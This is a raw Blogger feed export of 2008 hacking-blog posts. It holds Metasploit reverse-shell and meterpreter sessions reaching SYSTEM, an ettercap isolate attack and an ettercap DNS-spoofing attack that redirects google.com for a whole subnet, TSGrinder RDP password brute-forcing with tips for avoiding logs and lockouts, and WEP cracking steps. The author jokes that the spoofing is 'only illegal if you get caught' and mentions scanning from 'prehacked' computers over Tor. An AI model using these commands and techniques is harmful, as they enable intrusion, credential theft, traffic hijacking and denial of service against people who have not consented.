obtained&lt;br /&gt;[*] Got connection from 10.10.10.197:2199 &lt;-&gt; 24.89.130.146:4444&lt;br /&gt;[*] Sending Intermediate Stager (89 bytes)&lt;br /&gt;[*] Sending Stage (2834 bytes)&lt;br /&gt;[*] Sleeping before sending dll.&lt;br /&gt;[*] Uploading dll to memory (69643), Please wait...&lt;br /&gt;[*] Upload completed &lt;br /&gt;&lt;br /&gt;meterpreter&gt; use –m Process&lt;br /&gt;loadlib: Loading library from ‘ext227496.dll’ on the remote machine&lt;br /&gt;meterpreter&gt; &lt;br /&gt;loadlib: success.&lt;br /&gt;meterpreter&gt; execute –f cmd –c&lt;br /&gt;execute: Executing ‘cmd’…&lt;br /&gt;meterpreter&gt;&lt;br /&gt;execute: success, process id is 1576&lt;br /&gt;execute: allocated channel 1 for new process.&lt;br /&gt;meterpreter&gt; interact 1&lt;br /&gt;interact: Switching to interactive console on 1…&lt;br /&gt;meterpreter&gt;&lt;br /&gt;interact: Starter interactive channel 1.&lt;br /&gt;&lt;br /&gt;Microsfor Windows 2000 {Version 5.00.2195&lt;br /&gt;© Copyright 1985-1999 Microsoft Corp.&lt;br /&gt;&lt;br /&gt;C:\WINNT\system32&gt;&lt;br /&gt;&lt;br /&gt;When you get to the shell you can do a whoami and you will see that you are logged in as NT AUTHORITY\SYSTEM, that means you have Administrator rights. Now your imagination is the limit.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;By,&lt;br /&gt;Syrus&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7029036124143293621-3488411254612581999?l=wcosughacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wcosughacking.blogspot.com/feeds/3488411254612581999/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7029036124143293621&amp;postID=3488411254612581999' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/3488411254612581999'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/3488411254612581999'/><link rel='alternate' type='text/html' href='http://wcosughacking.blogspot.com/2008/07/mssql-exploit.html' title='MSSQL Exploit'/><author><name>WCOSUG</name><uri>http://www.blogger.com/profile/08314145983015840509</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7029036124143293621.post-5381300317576759490</id><published>2008-07-24T11:34:00.000-04:00</published><updated>2008-07-24T11:51:08.356-04:00</updated><title type='text'>Isolate IP</title><content type='html'>Ettercap has a plug in to isolate network IP address. In a sense it causes a DOS attack. This can be useful for network administrators. For example unlike cisco where you can shutdown an interface on a switch, sonicwall wont let you do such a thing; which can make administering a good amount harder. Especially when you have end users running itunes and torrents etc. &lt;br /&gt;To start this attack you will need the IP of the host you are isolating. In this case it will be 192.168.2.3. How this attack works every packet the computer sends out will resolver its own mac address. Here is the network setup of a windows box using ipconifg /all.&lt;br /&gt;&lt;br /&gt;Connection-specific DNS Suffix  . :&lt;br /&gt;Description . . . . . . . . . . . : NVIDIA nForce Networking Controller&lt;br /&gt;Physical Address. . . . . . . . . : 00-11-D8-70-48-4F&lt;br /&gt;Dhcp Enabled. . . . . . . . . . . : Yes&lt;br /&gt;Autoconfiguration Enabled . . . . : Yes&lt;br /&gt;IP Address. . . . . . . . . . . . : 192.168.2.3&lt;br /&gt;Subnet Mask . . . . . . . . . . . : 255.255.255.0&lt;br /&gt;Default Gateway . . . . . . . . . : 192.168.2.1&lt;br /&gt;DHCP Server . . . . . . . . . . . : 192.168.2.1&lt;br /&gt;DNS Servers . . . . . . . . . . . : 192.168.2.1&lt;br /&gt;Primary WINS Server . . . . . . . : 192.168.2.1&lt;br /&gt;Lease Obtained. . . . . . . . . . : Thursday, July 24, 2008 11:42:50 AM&lt;br /&gt;Lease Expires . . . . . . . . . . : Thursday, July 24, 2008 11:52:50 AM&lt;br /&gt;&lt;br /&gt;Here is the arp -a out put&lt;br /&gt;Interface: 192.168.2.3--- 0x2&lt;br /&gt;  Internet Address      Physical Address      Type&lt;br /&gt;  192.168.2.1           00-06-b1-36-1f-24     dynamic&lt;br /&gt;&lt;br /&gt;To start the attack we are going to be using the isolate plugin. And specify the IP that we are attacking. Here is what the command looks like.&lt;br /&gt;&lt;br /&gt;#ettercap -i sk0 -P isolate /192.168.2.3/ //&lt;br /&gt;&lt;br /&gt;The command will take about 5 min to go into effect since that is how long it takes the arp cache to refresh, once it does this is what the ap should look like.&lt;br /&gt;&lt;br /&gt;Interface: 192.168.2.3--- 0x2&lt;br /&gt;  Internet Address      Physical Address      Type&lt;br /&gt;  192.168.2.1           00-11-D8-70-48-4F     dynamic&lt;br /&gt;&lt;br /&gt;As you notice that is'nt the same mac address that 192.168.2.1 had when we first ran the arp -a, it is now resolving the mac address of itself. If you try to resolve a web site the ettercap will output something along the lines of this.&lt;br /&gt;&lt;br /&gt;TCP   192.168.2.3:80 --&gt; 127.0.0.1:80  | AP&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7029036124143293621-5381300317576759490?l=wcosughacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wcosughacking.blogspot.com/feeds/5381300317576759490/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7029036124143293621&amp;postID=5381300317576759490' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/5381300317576759490'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/5381300317576759490'/><link rel='alternate' type='text/html' href='http://wcosughacking.blogspot.com/2008/07/isolate-ip.html' title='Isolate IP'/><author><name>WCOSUG</name><uri>http://www.blogger.com/profile/08314145983015840509</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7029036124143293621.post-8972800659894184894</id><published>2008-07-22T12:33:00.001-04:00</published><updated>2011-06-23T14:50:38.017-04:00</updated><title type='text'>tsgrinder</title><content type='html'>TSGrinder is a terminal server Brute Force tool. It uses dictionary attacks and has a very useful leet function. Given the leet file and dict file are weak to start with but that is easily remedied. If you run the command you will get the following.&lt;br /&gt;c:\tsgrinder&gt;tsgrinder.exe&lt;br /&gt;tsgrinder version 2.03&lt;br /&gt;&lt;br /&gt;Usage:&lt;br /&gt;  tsgrinder.exe [options] server&lt;br /&gt;&lt;br /&gt;Options:&lt;br /&gt;  -w dictionary file (default 'dict')&lt;br /&gt;  -l 'leet' translation file&lt;br /&gt;  -d domain name&lt;br /&gt;  -u username (default 'administrator'&lt;br /&gt;  -b banner flag&lt;br /&gt;  -n number of simultaneous threads&lt;br /&gt;  -D debug level (default 9, lower number is more output)&lt;br /&gt;&lt;br /&gt;Example:&lt;br /&gt;  tsgrinder.exe -w words -l leet -d workgroup -u administrator -b -n 2 10.1.1.1&lt;br /&gt;&lt;br /&gt;The example demonstrates very well how to use this program. So for this example I will be attacking my server.&lt;br /&gt;&lt;br /&gt;C:\tsgrinder&gt;tsgrinder.exe -w dict -u administrator 192.168.2.1&lt;br /&gt;password aaa - failed&lt;br /&gt;password abc - failed&lt;br /&gt;password academia - failed&lt;br /&gt;password academic - failed&lt;br /&gt;password access - failed&lt;br /&gt;password ada - failed&lt;br /&gt;password admin - failed&lt;br /&gt;password adrian - failed&lt;br /&gt;password adrianna - failed&lt;br /&gt;password aerobics - failed&lt;br /&gt;password airplane - failed&lt;br /&gt;password password - success!&lt;br /&gt;&lt;br /&gt;Once tsgrinder finds the password, it will output success and log off of mstsc. Since the dict file is weak, I recommend googling for a world list file. This will make life a lot easier. The leet file is also pretty weak by default. This is all it has:&lt;br /&gt;l 1&lt;br /&gt;e 3&lt;br /&gt;t 7&lt;br /&gt;s 5&lt;br /&gt;Feel free to edit this by adding some more such as:&lt;br /&gt;a @&lt;br /&gt;o 0&lt;br /&gt;etc.. I also recommend using the administrator account for these attacks, since by default it won't get locked out with so many password attempts. Also, if you noticed, tsgrinder will try 5 passwords, and then disconnects, and then reconnects, and trys 5 more. This is because a log entry won't appear until you get the password wrong on 6 consecutive attempts. This app won't throw a windows log file either. Now for the 1337. You just add the "-l" switch to the command.&lt;br /&gt;&lt;br /&gt;C:\tsgrinder&gt;tsgrinder.exe -w dict -l leet -u administrator 192.168.2.3&lt;br /&gt;password academia - failed&lt;br /&gt;password acad3mia - failed&lt;br /&gt;password academic - failed&lt;br /&gt;password acad3mic - failed&lt;br /&gt;password access - failed&lt;br /&gt;password acces5 - failed&lt;br /&gt;password acce5s - failed&lt;br /&gt;password acce55 - failed&lt;br /&gt;password acc3ss - failed&lt;br /&gt;password acc3s5 - failed&lt;br /&gt;password acc35s - failed&lt;br /&gt;password acc355 - failed&lt;br /&gt;&lt;br /&gt;That shows you vaguely how it works. There is also the "-n" switch which allows more then 1 session. So with one session you are able to try 5 passwords in 10 seconds, but if you use "-n 2" you will be able to try 10 passwords in 11 seconds. I haven't tried more then 2 simultaneously connections since it does slow your computer down.&lt;br /&gt;&lt;br /&gt;C:\tsgrinder&gt;tsgrinder.exe -w dict -u administrator -n 2 192.168.2.3&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7029036124143293621-8972800659894184894?l=wcosughacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wcosughacking.blogspot.com/feeds/8972800659894184894/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7029036124143293621&amp;postID=8972800659894184894' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/8972800659894184894'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/8972800659894184894'/><link rel='alternate' type='text/html' href='http://wcosughacking.blogspot.com/2008/07/tsgrinder.html' title='tsgrinder'/><author><name>WCOSUG</name><uri>http://www.blogger.com/profile/08314145983015840509</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7029036124143293621.post-5816460707535862038</id><published>2008-07-21T11:57:00.000-04:00</published><updated>2008-07-21T11:58:44.998-04:00</updated><title type='text'>WEP Cracking</title><content type='html'>This is a guide I wrote a couple years back as you can tell since secuirty auditor has been backtracks for over a year now. Most information holds true still.&lt;br /&gt;Needed:&lt;br /&gt;2 Prism 2/2.5/3 wireless cards&lt;br /&gt;2 Computers running Security auditor&lt;br /&gt;&lt;br /&gt;Key&lt;br /&gt;# means channel number&lt;br /&gt;PC means the AP’s client MAC address&lt;br /&gt;AP means AP’s MAC address&lt;br /&gt;&lt;br /&gt;Lets begin&lt;br /&gt;&lt;br /&gt;Computer 1&lt;br /&gt;&lt;br /&gt;Start up kismet&lt;br /&gt;&lt;br /&gt;Press s to sort the AP’s&lt;br /&gt;&lt;br /&gt;Press Enter on the AP your attacking get the following info&lt;br /&gt; -Channel&lt;br /&gt; -SSID&lt;br /&gt; -BSSID&lt;br /&gt;&lt;br /&gt;Press x to exit&lt;br /&gt;&lt;br /&gt;Press shift + c get the following information&lt;br /&gt; -PC&lt;br /&gt;&lt;br /&gt;Exit kismet&lt;br /&gt;&lt;br /&gt;Open terminal and run the following commands&lt;br /&gt; Switch-to-hostap&lt;br /&gt; Cardctl eject&lt;br /&gt; Cardctl insert&lt;br /&gt; Iwconfig wlan0 channel #&lt;br /&gt; Iwpriv wlan0 hostapd 1&lt;br /&gt; Iwconfig wlan0 mode master&lt;br /&gt; Void11_penetration –D –s PC –B AP wlan0&lt;br /&gt;&lt;br /&gt;Computer 2&lt;br /&gt;&lt;br /&gt;Open terminal and run the following commands&lt;br /&gt; Switch-to-wlanng&lt;br /&gt; Cardctl eject&lt;br /&gt; Cardctl insert&lt;br /&gt; Monitor.wlan wlan0 #&lt;br /&gt; Cd /ramdisk&lt;br /&gt; Aireplay –I wlan0 –b AP –m 68 –n 68 –d ff:ff:ff:ff:ff:ff&lt;br /&gt;&lt;br /&gt;You need a packet that looks like such&lt;br /&gt; FromDS – 0&lt;br /&gt; ToDS -1&lt;br /&gt; BSSID – AP&lt;br /&gt; SourceMAC – PC&lt;br /&gt; Destination MAC – ff:ff:ff:ff:ff:ff&lt;br /&gt;&lt;br /&gt;Click y to replay this ARP packet&lt;br /&gt;&lt;br /&gt;Computer1&lt;br /&gt;&lt;br /&gt;Since you got the above packet you can close void11&lt;br /&gt;&lt;br /&gt;Open terminal and run&lt;br /&gt; Switch-tp-wlanng&lt;br /&gt; Cardctl eject&lt;br /&gt; Cardctl insert&lt;br /&gt; Monitor.wlan wlan0 #&lt;br /&gt; Cd /ramdisk&lt;br /&gt; Airodump wlan0 cap1&lt;br /&gt;&lt;br /&gt;Once you get 100,000 IV’s exit for 64bit keys 800,000 for 128bit keys&lt;br /&gt;&lt;br /&gt;Open terminal&lt;br /&gt; Cd /ramdisk   (key length)&lt;br /&gt; Aircrack –f 2 –m AP –n 64/128 –q 3 cap*.cap&lt;br /&gt;&lt;br /&gt;In a while you should have you WEP key&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7029036124143293621-5816460707535862038?l=wcosughacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wcosughacking.blogspot.com/feeds/5816460707535862038/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7029036124143293621&amp;postID=5816460707535862038' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/5816460707535862038'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/5816460707535862038'/><link rel='alternate' type='text/html' href='http://wcosughacking.blogspot.com/2008/07/wep-cracking.html' title='WEP Cracking'/><author><name>WCOSUG</name><uri>http://www.blogger.com/profile/08314145983015840509</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7029036124143293621.post-1003370682205878001</id><published>2008-07-17T08:34:00.000-04:00</published><updated>2008-07-17T08:44:22.273-04:00</updated><title type='text'>NMAP</title><content type='html'>Well hopefully you read my previous post on nmap. My friend came over was looking at nmap logs. He asked me why do I always print them to a file instead of browising it in a terminal. It's easier to search a file, for say the word "open". There is a problem I noticed when I print out the results to a file. It dosn't always print out the os option even if I got it from doing it in the terminal. Well anyway to print the output to a file you just add the following to the end of the command.&lt;br /&gt;&lt;br /&gt;&gt;&gt;file location&lt;br /&gt;&lt;br /&gt;This works on both unix and windows box's the following command is for a windows machine and the one that follows is for a unix box.&lt;br /&gt;&lt;br /&gt;C:\Program Files\Nmap&gt; nmap -p80 -P0 -sS 69.182.0.0/16 &gt;&gt;c:\folder\nmap.txt&lt;br /&gt;#nmap -p80 -P0 -sS 69.182.0.0/16 &gt;&gt;/home/user/nmap.txt&lt;br /&gt;&lt;br /&gt;Just a refresher of what everything means&lt;br /&gt;-p80 port 80&lt;br /&gt;-P0  run scan even if ping dosn't succeed&lt;br /&gt;-sS  Syn scan&lt;br /&gt;IP   The ip address of whom you are scanning or starting point in range&lt;br /&gt;/16  Subnet 255.255.0.0&lt;br /&gt;&gt;&gt;   Where to ouput the file&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7029036124143293621-1003370682205878001?l=wcosughacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wcosughacking.blogspot.com/feeds/1003370682205878001/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7029036124143293621&amp;postID=1003370682205878001' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/1003370682205878001'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/1003370682205878001'/><link rel='alternate' type='text/html' href='http://wcosughacking.blogspot.com/2008/07/nmap.html' title='NMAP'/><author><name>WCOSUG</name><uri>http://www.blogger.com/profile/08314145983015840509</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7029036124143293621.post-2465986511236960347</id><published>2008-07-14T11:39:00.000-04:00</published><updated>2008-07-14T11:50:36.729-04:00</updated><title type='text'>Internal IP's on the internet</title><content type='html'>So when I was routerless for about a month or so when ever I booted up my computer I noticed my computer was requesting for a DHCP address and it was talking to a 10.x.x.x address. So I decided to delv a little deeper to see what was going on. I fired up ettercap to collect DHCP requests and this is what I got.&lt;br /&gt;DHCP: [10.42.0.1] ACK : 24.181.183.57 255.255.254.0 GW 24.181.182.1 DNS 24.151.8.210&lt;br /&gt;DHCP: [10.42.0.1] ACK : 24.181.183.57 255.255.254.0 GW 24.181.182.1 DNS 24.151.8.210&lt;br /&gt;DHCP: [10.42.0.1] ACK : 24.181.183.57 255.255.254.0 GW 24.181.182.1 DNS 24.151.8.210&lt;br /&gt;DHCP: [10.42.0.1] ACK : 24.181.183.57 255.255.254.0 GW 24.181.182.1 DNS 24.151.8.210&lt;br /&gt;DHCP: [10.42.0.1] ACK : 24.181.183.57 255.255.254.0 GW 24.181.182.1 DNS 24.151.8.210&lt;br /&gt;DHCP: [10.42.0.1] ACK : 24.181.183.57 255.255.254.0 GW 24.181.182.1 DNS 24.151.8.210&lt;br /&gt;DHCP: [10.42.0.1] ACK : 24.181.183.57 255.255.254.0 GW 24.181.182.1 DNS 24.151.8.210&lt;br /&gt;DHCP: [10.42.0.1] ACK : 24.181.183.57 255.255.254.0 GW 24.181.182.1 DNS 24.151.8.210&lt;br /&gt;DHCP: [10.42.0.1] ACK : 24.181.183.57 255.255.254.0 GW 24.181.182.1 DNS 24.151.8.210&lt;br /&gt;DHCP: [10.93.130.73] OFFER : 10.12.4.155 255.255.0.0 GW 10.12.0.1 DNS 24.151.8.219&lt;br /&gt;DHCP: [10.12.0.1] ACK : 10.12.4.155 255.255.0.0 GW 10.12.0.1 DNS 24.151.8.219&lt;br /&gt;DHCP: [10.93.130.73] OFFER : 10.12.42.34 255.255.0.0 GW 10.12.0.1&lt;br /&gt;DHCP: [10.12.0.1] ACK : 10.12.42.34 255.255.0.0 GW 10.12.0.1&lt;br /&gt;DHCP: [10.42.0.1] ACK : 24.181.183.57 255.255.254.0 GW 24.181.182.1 DNS 24.151.8.210&lt;br /&gt;DHCP: [10.42.0.1] ACK : 24.181.183.57 255.255.254.0 GW 24.181.182.1 DNS 24.151.8.210&lt;br /&gt;DHCP: [10.93.130.73] OFFER : 10.12.4.83 255.255.0.0 GW 10.12.0.1 DNS 24.151.8.219&lt;br /&gt;DHCP: [10.12.0.1] ACK : 10.12.4.83 255.255.0.0 GW 10.12.0.1 DNS 24.151.8.219&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Interesting huh? Well it gets even better. My IP wasn't even in te 24.*.*.* range.&lt;br /&gt;&lt;br /&gt;sk0: flags=8843&lt;UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST&gt; metric 0 mtu 1500&lt;br /&gt;        options=b&lt;RXCSUM,TXCSUM,VLAN_MTU&gt;&lt;br /&gt;        ether 00:17:31:c1:d8:da&lt;br /&gt;        inet 96.x.x.x netmask 0xffffff00 broadcast 255.255.255.255&lt;br /&gt;        media: Ethernet autoselect (100baseTX &lt;full-duplex,flag0,flag1&gt;)&lt;br /&gt;        status: active&lt;br /&gt;So I searched all the IP's on ARIN and they are all owned by Charter, Newtown. So am I getting local IP's because cable broadband is just like a giant lan, I remember hearing that some but never develed to far into it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7029036124143293621-2465986511236960347?l=wcosughacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wcosughacking.blogspot.com/feeds/2465986511236960347/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7029036124143293621&amp;postID=2465986511236960347' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/2465986511236960347'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/2465986511236960347'/><link rel='alternate' type='text/html' href='http://wcosughacking.blogspot.com/2008/07/internal-ips-on-internet.html' title='Internal IP&apos;s on the internet'/><author><name>WCOSUG</name><uri>http://www.blogger.com/profile/08314145983015840509</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7029036124143293621.post-5941903009496330208</id><published>2008-07-09T14:17:00.000-04:00</published><updated>2008-07-09T14:44:00.833-04:00</updated><title type='text'>DNS Spoof</title><content type='html'>This will only work if the computer running ettercap is set as DMZ or has a direct wan connection. This is ILLEGAL! can't stress that enough, but like the saying goes it's only illegal if you get caught. This will only affect people on the same subnet as you. To show you how many people will be affected by this attack grab you IP address and subnet and convert it to binary. I'm going to use a comcast one for example.&lt;br /&gt;71.235.115.114&lt;br /&gt;255.255.248.0&lt;br /&gt;01000111.11101011.01110011.01110010&lt;br /&gt;11111111.11111111.11111000.00000000&lt;br /&gt;I'm not going to walk you through how to do this bulian math, since you are trying to learn how to hack you should have a basic understanding of networking math. So this is what will be affected.&lt;br /&gt;01000111.11101011.01110000.00000000-01000111.11101011.01110111.11111111&lt;br /&gt;71.235.112.0-71.235.119.255&lt;br /&gt;So that is 1,785 hosts that will be affected as long as you are intiating an attack.&lt;br /&gt;Now on to the attack it self.&lt;br /&gt;As I said earlier we will be running ettercap, I will be using it on FreeBSD.Firstly we need to edit the etter.dns file to input our entry.&lt;br /&gt;#nano /usr/local/share/ettercap/etter.dns&lt;br /&gt;There will be an example already in that will redirect microsft to linux website.&lt;br /&gt;&lt;br /&gt;"microsoft.com    A  198.182.196.56&lt;br /&gt;*.microsoft.com    A  198.182.196.56&lt;br /&gt;&lt;a href="http://www.microsoft.com/"&gt;www.microsoft.com&lt;/a&gt;    PTR  198.182.196.56"&lt;br /&gt;&lt;br /&gt;To get as many hits on my website as fast as possible I'm going to redirect google.com to my website.&lt;br /&gt;&lt;br /&gt;"google.com   A    64.148.32.238&lt;br /&gt;*.google.com   A    64.148.32.238&lt;br /&gt;&lt;a href="http://www.google.com/"&gt;www.google.com&lt;/a&gt;   PTR    64.148.32.238"&lt;br /&gt;&lt;br /&gt;Now to run it. We use the following command&lt;br /&gt;#ettercap -T -q -i sk0 -P dns_spoof -M arp // //&lt;br /&gt;&lt;br /&gt;Let me break this down for all.&lt;br /&gt;T = text interface&lt;br /&gt;q = quiet&lt;br /&gt;i = interface&lt;br /&gt;p = plug&lt;br /&gt;M = man in the middle&lt;br /&gt;// // = specify all hosts&lt;br /&gt;&lt;br /&gt;Thats it when ever anyone goes to google.com the will get redirected to wcosug.org. Notice this will only redirect to dns names that are directly binded to IP address, this will not work with virtual hosts. Since you need to use an IP and not a DNS name in the config file.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7029036124143293621-5941903009496330208?l=wcosughacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wcosughacking.blogspot.com/feeds/5941903009496330208/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7029036124143293621&amp;postID=5941903009496330208' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/5941903009496330208'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/5941903009496330208'/><link rel='alternate' type='text/html' href='http://wcosughacking.blogspot.com/2008/07/dns-spoof.html' title='DNS Spoof'/><author><name>WCOSUG</name><uri>http://www.blogger.com/profile/08314145983015840509</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7029036124143293621.post-8481872539424205223</id><published>2008-05-16T22:38:00.000-04:00</published><updated>2008-05-16T22:46:37.889-04:00</updated><title type='text'>Friday night fun</title><content type='html'>Well here is what I'm doing this Friday night all day I was playing around with network streaming video, I have been playing around with ffserver and VLC streaming. I got VLC working great except slow upload speeds for ffserver hasn't been working so great when ever I try to host a file this happens.&lt;br /&gt;#ffmpeg -i /tmp/output.flv http://localhost:8090/output.flv&lt;br /&gt;Seems stream 0 codec frame rate differs from container frame rate: 23.98 (65535/2733) -&gt; 23.98 (10000000/417083)&lt;br /&gt;Input #0, avi, from '/tmp/test.avi':&lt;br /&gt;Duration: 00:21:49.8, start: 0.000000, bitrate: 1088 kb/s&lt;br /&gt;Stream #0.0: Video: mpeg4, yuv420p, 640x480, 23.98 fps(r)&lt;br /&gt;Stream #0.1: Audio: mp3, 48000 Hz, stereo, 128 kb/s&lt;br /&gt;Output #0, flv, to 'http://localhost:8090/test.flv':&lt;br /&gt;Stream #0.0: Video: flv, yuv420p, 640x480, q=2-31, 200 kb/s, 23.98 fps(c)&lt;br /&gt;Stream #0.1: Audio: libmp3lame, 22050 Hz, stereo, 64 kb/s&lt;br /&gt;Stream mapping:&lt;br /&gt;Stream #0.0 -&gt; #0.0&lt;br /&gt;Stream #0.1 -&gt; #0.1&lt;br /&gt;Press [q] to stop encoding&lt;br /&gt;Broken pipe&lt;br /&gt;&lt;br /&gt;I played with it for serveral hours today but still havn't gotten it to work, I'll prob put a couple more hours in tomorrow to get it to work, but it's friday night it's hack time. (lol) So VLC uses the default port of 1234 and ffserver uses 8090. I've mapped about 2,000 ports so far and only found 3 comps listening on 1234 and only one of them is VLC but its encrypted so have to go back to looking. To let you know how NMap I use a prehacked computer run tor network and run NMap, I'll get a guide up on how to install tor soon enough. I registers that I'm in germany and if you constantly check back like every 10 min it will say you are some where else. I'll post my results up this weekend. This should be a good reason for people not to use default ports, always use off ports for personal use.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7029036124143293621-8481872539424205223?l=wcosughacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wcosughacking.blogspot.com/feeds/8481872539424205223/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7029036124143293621&amp;postID=8481872539424205223' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/8481872539424205223'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/8481872539424205223'/><link rel='alternate' type='text/html' href='http://wcosughacking.blogspot.com/2008/05/friday-night-fun.html' title='Friday night fun'/><author><name>WCOSUG</name><uri>http://www.blogger.com/profile/08314145983015840509</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7029036124143293621.post-8862629929316917148</id><published>2008-05-13T08:45:00.000-04:00</published><updated>2008-05-13T09:10:12.660-04:00</updated><title type='text'>MetaSploit</title><content type='html'>A good way to learn how to start hacking is setting up a practice box. I usually just setup a fresh install of XP with no update. This makes life easy it's like progressing, you start with an open box try to hack it, patch it try to hack it again, secure it try to hack it again etc.. so you learn how to grow from the bottom up. Believe it, it is 2008 and there are still some people who do not run sp2 which will shield you from my following example. Metasploit is great program for n00b's you can see the Framework so you know how it works and you can monitor your network or the hack box for you can see exactly what it is doing. For this example I'll be using metasploit web interface which I never used a couple years ago. So you launch the interface and browse over to &lt;a href="http://127.0.0.1:55555/"&gt;http://127.0.0.1:55555&lt;/a&gt; for this example I will be using the Exploit Microsoft FPC DCOM MS03-026 once you select it you will be prompted with payloads I always choose win32_reverse which will give you a command prompt to that computer. My advice would not to use VNC since it will look the user out of there computer and they will notice somehting is up. I like to make my own user account so If I'm ever actually at the computer I have a username and password. So when you deliver the payload you will get this.&lt;br /&gt; [*] Starting Reverse Handler.&lt;br /&gt;[*] Sending request...&lt;br /&gt;[*] Got connection from 10.10.10.197:4321 &lt;-&gt; 10.10.10.134:2255&lt;br /&gt;[*] Shell started on &lt;a href="http://127.0.0.1:55555/SESSIONS?MODE=LOAD&amp;amp;SID=1" target="_blank"&gt;session 1&lt;/a&gt;&lt;br /&gt;When you click on session 1 you will get the shell.&lt;br 